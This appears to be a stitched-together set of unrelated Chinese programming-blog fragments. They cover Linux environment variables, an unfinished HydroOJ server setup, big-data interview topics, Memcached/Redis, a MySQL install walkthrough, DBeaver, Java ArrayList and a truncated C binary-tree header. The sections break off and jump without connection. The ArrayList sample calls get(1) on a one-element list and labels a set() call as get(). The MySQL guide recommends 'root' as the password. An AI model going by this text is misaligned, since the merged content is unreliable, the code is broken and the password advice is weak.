USER USER:表示当前用户的用户名。USER 环境变量通常被用于标识当前用户,以及在一些脚本和应用程序中作为参数传递。
SHELL SHELL:表示当前用户使用的 Shell 程序的路径。SHELL 环境变量通常被用于指定用户的默认 Shell 程序,以及在一些脚本和应用程序中作为参数传递。
PWD PWD:表示当前工作目录的路径。PWD 环境变量通常被用于指定当前工作目录的路径,以及在一些脚本和应用程序中作为参数传递。
[图片]
LANG
LANG:表示当前系统使用的语言环境。LANG 环境变量通常被用于指定系统的默认语言环境,以及在一些应用程序中用于设置语言环境。
TMP/TEMP TMP 或 TEMP:表示当前系统的临时文件目录路径。TMP 或 TEMP 环境变量通常被用于指定临时文件的默认存储位置,以及在一些应用程序中作为参数传递。
在执行 echo $TMP 命令时,如果返回的结果为空,通常可能是因为系统没有设置 TMP 环境变量,或者 TMP 环境变量的值为空。TMP 环境变量通常用来指定系统的临时文件目录路径,许多应用程序会使用该环境变量来创建和读写临时文件。但是并不是所有系统都默认设置了 TMP 环境变量,而且在某些情况下,即使设置了 TMP 环境变量,也可能出现其值为空的情况。如果你想设置 TMP 环境变量,可以在命令行中使用 export 命令来设置。例如: export TMP=/tmp 以下是一些常见的设置环境变量的文件:
/etc/profile:这个文件包含了系统的全局配置,其中可以设置全局的环境变量。在该文件中添加 export TMP=/tmp 就可以设置 TMP 环境变量。
我将在下面几篇文章里简要介绍我搭建 H y d r o O J Hydro OJ HydroOJ 的过程
章节一 : 注册服务器(如果你已经有一个 u b u n t u 22.04 ubuntu22.04 ubuntu22.04 服务器,可以跳过至第三节) 准备工作:你需要有一个服务器,一块钱,一台电脑,以及一双手
如果你和我一样 没钱 是一名学生党,我将教会你免费申请一个服务器。
在这里安利一下三丰云(真的不是广告),这是一个免费的服务器提供公司,而且是免费的。
注册完一个账户以后,你需要支付0.3元做一个实名认证(毕竟人家是免费的),如果实名认证成功了大概率会开通成功。如果失败了可能是服务器资源池不够,所以等一个星期左右吧。
开通后,选择安装系统ubuntu16.04。
章节二:安装系统 系统安装相对来说就要简单多了。根据 H y d r o Hydro Hydro 官方的说法,要尽量使用 U b u n t u 22.04 Ubuntu 22.04 Ubuntu22.04 。
但你如果和我一样是白嫖过来的服务器,可能就只能先安装 U b u n t u 16.04 Ubuntu 16.04 Ubuntu16.04,然后升级了。
首先,获得 r o o t root root 权限:
先说些废话 作为一个全栈开发工作者,曾经对公司专职的大数据开发有着浓厚的兴趣,所以尝试学习大数据开发所需要的各种技术栈。
本文就是我在学习过程中记录下,所遇到的一些大数据面试的提问,仅供参考。
当然,因为时间精力有限,并非所有的问题我都去记录了答案,如果您不了解某些问题或者不认可我记录的解答,可以带着问题百度或者问ChatCPT,相信会给您留下更深刻的印象。
最后,读者可以把本文当作模拟面试的提纲,欢迎各位在评论区交流,大家一起成长,努力变得更强!!!
高频基础知识点 执行过程 MapReduce 的执行过程,如何进行一个文件的计算,shuffle的过程(不需要手写MapReduce或者用java写MapReduce) MapReduce执行流程及示例 HDFS 的读写流程 HDFS的读写流程步骤(附图文解析) Yarn 的任务提交流程,如何查看任务日志和报错信息 hive的执行流程 Hive 的执行过程(Hive SQL 如何解析成MapReduce的) Hive SQL转化为MapReduce的过程hive的执行流程万字长文详解HiveSQL执行计划Hive SQL底层执行过程详细剖析Hive底层原理:explain执行计划详解 Spark 任务的执行过程 Spark原理 | 任务执行流程 Spark SQL 的底层执行过程 Spark SQL底层执行流程详解Spark底层执行原理详细解析 Linux 如何查看内存,CPU占用 linux下查看cpu使用率和内存占用 Shell脚本如何定义函数调用Shell脚本第一行:#!/bin/bash的含义 第一行的内容指定了shell脚本解释器的路径,而且这个指定路径只能放在文件的第一行第一行写错或者不写时,系统会有一个默认的解释器进行解释 Linux脚本授权是什么?Linux授权命令是什么? chmod [{ugoa}{+-=}{rwx}] [文件或目录]chmod [mode=421] [文件或目录] Shell标准输出和标准错误是什么?工作中常用的Linux命令有哪些? MySQL sql的执行计划,执行错误报警机制索引有什么优缺点什么时候会导致索引失效如果我给一张表的所有字段添加索引会有什么样的问题如何进行sql调优 高频 MySQL在工作中的优化方案总结 Hadoop(HDFS/MapReduce/Yarn) Haddop3对于Hadoop2有哪些新特性 Hadoop 3.x 版本相对于 Hadoop 2.x的新特性 HDFS 常用命令有哪些 HDFS常用命令 工作中遇到 MapReduce 流程的相关问题如何排查其他问题汇总 精选Hadoop高频面试题17道 Hive 工作中如何进行Hive优化 高频 Hive在工作中的调优总结 Hive中有任务跑的时间比较长,怎么优化Hive任务处理过程中遇到过什么样的问题 Hive企业级性能优化 Hive SQL 查询比较慢(数据倾斜),怎么处理 实操 | Hive 数据倾斜问题定位排查及解决Hive千亿级数据倾斜解决方案 Hive的参数设置用过哪些,有什么作用Hive中表关联方式join的分类、用法、应用场景什么时候会走MapJoin mapjoin的使用方法以及注意事项 什么情况下会产生Hive小文件,小文件有什么危害Hive的查询过程,哪些方法可以提高查询效率 变相的问优化 Hive 提高查询效率的方法 Hive的窗口函数,常用窗口函数,怎么使用 窗口函数row_number、rank、dense_rank之间的区别 row_number是行号,不会重复
Memcached&Redis构建缓存数据库 前言 许多Web应用都将数据保存到关系型数据库( RDBMS)中,应用服务器从中读取数据并在浏览器中显示。但随着数据量的增大、访问的集中,就会出现RDBMS的负担加重、数据库响应恶化、 网站显示延迟等重大影响。Memcached/redis是高性能的分布式内存缓存服务器,通过缓存数据库查询结果,减少对关系型数据库访问次数,以提高动态Web等应用的速度、 提高可靠性。
RDBMS即关系数据库管理系统(Relational Database Management System)
1、简介 1、nosql产品: redis,mongodb,memcached. NOSQL名词解释:非关系型数据库
1.以键值对的方式存储数据—(Key-Value)的形式
2.缓存数据库
2、NoSQL的优点/缺点 优点: - 高可扩展性 - 分布式计算 - 低成本 - 架构的灵活性 - 没有复杂的关系 缺点: - 没有标准化 - 有限的查询功能(到目前为止) 缓存服务器作用: 加快访问速度 ,缓解关系型数据库的读压力
3、关系型数据库与非关系型数据库的区别:---------面试高频率问题 1.首先了解一下 什么是关系型数据库? 关系型数据库最典型的数据结构是表,由二维表及其之间的联系所组成的一个数据组织。 优点: 1、易于维护:都是使用表结构,格式一致; 2、使用方便:SQL语言通用,可用于复杂查询; 3、复杂操作:支持SQL,可用于一个表以及多个表之间非常复杂的查询。 缺点: 1、读写性能比较差,尤其是海量数据的高效率读写; 2、固定的表结构,灵活度稍欠; 3、高并发读写需求,传统关系型数据库来说,硬盘I/O是一个很大的瓶颈; 二 非关系型数据库 什么非关系型数据库呢? 非关系型数据是一种数据结构化存储方法的集合,可以是文档或者键值对等 优点: 1、格式灵活:存储数据的格式可以是key,value形式、文档形式、图片形式等等,使用灵活,应用场景广泛,而关系型数据库则只支持基础类型。 2、速度快:nosql可以使用硬盘或者随机存储器作为载体,而关系型数据库只能使用硬盘; 3、高扩展性; 4、成本低:nosql数据库部署简单,基本都是开源软件。 缺点: 1、不提供sql支持,学习和使用成本较高; 2、无事务处理; 3、数据结构相对复杂,复杂查询方面稍欠。 2、Memcached 1、特点 1.内置内存存储方式-----------为了提高性能,memcached中保存的数据都存储在memcache内置的内存存储空间中。由于数据仅存在于内存中,重启操作系统会导致全部数据消失 2.简单key/value存储---------------服务器不关心数据本身的意义及结构,只要是可序列化数据即可。存储项由“键、过期时间、可选的标志及数据”四个部分组成; 2、服务框架 原理
1、检查客户端的请求数据是否在memcached中,如有,直接把请求数据返回,不再对数据库进行任何操作,路径操作为①②③⑦。
2、如果请求的数据不在memcached中,就去查数据库,把从数据库中获取的数据返回给客户端,同时把数据缓存一份到memcached中(memcached客户端不负责,需要程序明确实现),路径操作为①②④⑤⑦⑥。
MySQL数据库安装流程配置 链接:https://pan.baidu.com/s/1OdbFETRjnfvzAxzoosP3QA
提取码:0706
1.首先我们可以进入https://www.mysql.com/这个MySQL官网进行下载。
2.进入官网后,点击DOWNLOADS进入界面。
3.选择 MySQL Cluster CGE 下面的 MySQL Community (GPL) Downloads » 点击进入。
4.点击这个 MySQL Installer for Windows 进入界面。
5.选择第二个 DOWNLOADS 进行下载。
6.下载好的安装包后,双击打开。
7.开始进行MySQL的安装流程,一般是傻瓜试的安装,点默认即可,首先默认选择 next。
8.选择next,点击下一步。
9.这里我们选择 Yes。
10.然后等待这些安装配置完成,大约需要个5-10分钟,点击execute。
11.等待小海豚图标左边全部是绿色的 √ 即可点击next下一步。
12.这里我们还是选择默认即可,点击next下一步。
13.同样点击next,进行下一步。
14.这里我们就需要设置MySQL的密码了,我设置的密码是root ,比较好记,建议大家设置完之后,记录下来以免忘记,设置完之后点击next,进行下一步。
15.这里同样选择next,进行下一步。
16.这里也是等待其左边的绿色√ 全部完成,点击finish。
17.到这一步离成功就不远啦,点击cancel。
18.这里我们选择Yes。
19.然后我们就安卓完成啦,再开始界面找到我们刚刚安卓好的MySQL8.0。
19.输入刚刚我们设置的密码 root 就OK啦。
有感而写,希望不足之处,大家多多指点!!!
————————————————
版权声明:本文为CSDN博主「书信白鸽~」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_45331296/article/details/126678848
1 DBeaver导入数据
1.1 前置工作,把要导入的数据表转为csv文件
1.2 把上面csv文件编码格式转为UTF-8。选中csv文件,打开方式-记事本,记事本中,文件-另存为,按如下图修改编码方式,保存类型不要动,点击保存,保存之后文件还是csv格式。
1.3 DBeaver中选中要导入数据的表,右键-导入数据到图1,双击图1中csv,选中上面准备的csv文件到图2,这里注意Encoding。然后一直下一步下一步就可以完成导入。
图1
图2
2 导出查询结果
2.1 查询结果表格下方,点击下图箭头处,然后一直下一步下一步完成导出
ArrayList集合用来装数据,类似于数组,大小是可变的,可以进行增删改查操作。
1、添加元素:add()
//创建一个arrayList的集合对象 ArrayList list1 = new ArrayList(); //1、add将指定元素添加到此集合末尾 list1.add("你好"); list1.add("Java"); list1.add(1111); list1.add("Java"); System.out.println("list1:" + list1); //2、往集合某个索引位置处添加一个数据 list1.add(1, "MySQL"); System.out.println("list1:" + list1); 2、获取元素:get()
//约束集合存储String类型 ArrayList<String> list2 = new ArrayList<>(); list2.add("你好"); //list2.add(111); System.out.println("list2:" + list2); //根据索引获取集合中某个索引的元素 String rs = list2.get(1); System.out.println(rs); 3、获取集合大小:size()
System.out.println("list2元素个数:" + list2.size()); 4、删除元素:remove()
//根据索引删除某个元素值,返回被删除的元素 System.out.println(list1.remove(0)); System.out.println(list1); 5、修改元素:get()
//修个某个索引位置处的数据,返回原来的值给我们 System.out.println(list1.set(0,"22222")); System.out.println(list1);
写在前面:以下为程序所用到的文件:
function.h头文件 // // Created by 斋心 on 2023/7/2. // #ifndef INC_5_3_3_7_FUNCTION_H #define INC_5_3_3_7_FUNCTION_H #include<stdio.h> #include<stdlib.h> //二叉树结点结构体类型申明 typedef char BiElemType; typedef struct BiNode{ BiElemType c; struct BiNode *lchild,*rchild; }BiNode,*BiTree; typedef BiTree ElemType; //创建二叉树辅助队列结构体类型申明 typedef struct tag{ ElemType p; struct tag *pnext; }tag_t,*ptag_t; //层次遍历二叉树辅助队列结点结构体类型申明 typedef struct LinkNode{ ElemType data; struct LinkNode *next; }LinkNode; //层次遍历辅助队列 typedef struct{ LinkNode *front,*rear; }LinkQueue; //层次建树函数申明 BiTree CreateBiTree(BiTree &T); //层次遍历辅助队列函数申明 void InitQueue(LinkQueue &Q); void EnQueue(LinkQueue &Q,ElemType x); bool DeQueue(LinkQueue &Q,ElemType &m); bool IsEmpty(LinkQueue Q); //二叉树遍历函数申明 void PreOrder(BiTree T); void InOrder(BiTree T); void PostOrder(BiTree T); void LevelOrder(BiTree T); //辅助栈结构体类型申明 typedef struct stack{ ElemType data; struct stack *next; }stack,*Lstack; //辅助栈函数申明 void InitStack(Lstack &S); void Push(Lstack &S,ElemType x); void Pop(Lstack &S,ElemType &m); bool IsEmpty(Lstack S); void GetTop(Lstack S,ElemType &s); #endif //INC_5_3_3_7_FUNCTION_H CreateBiTree.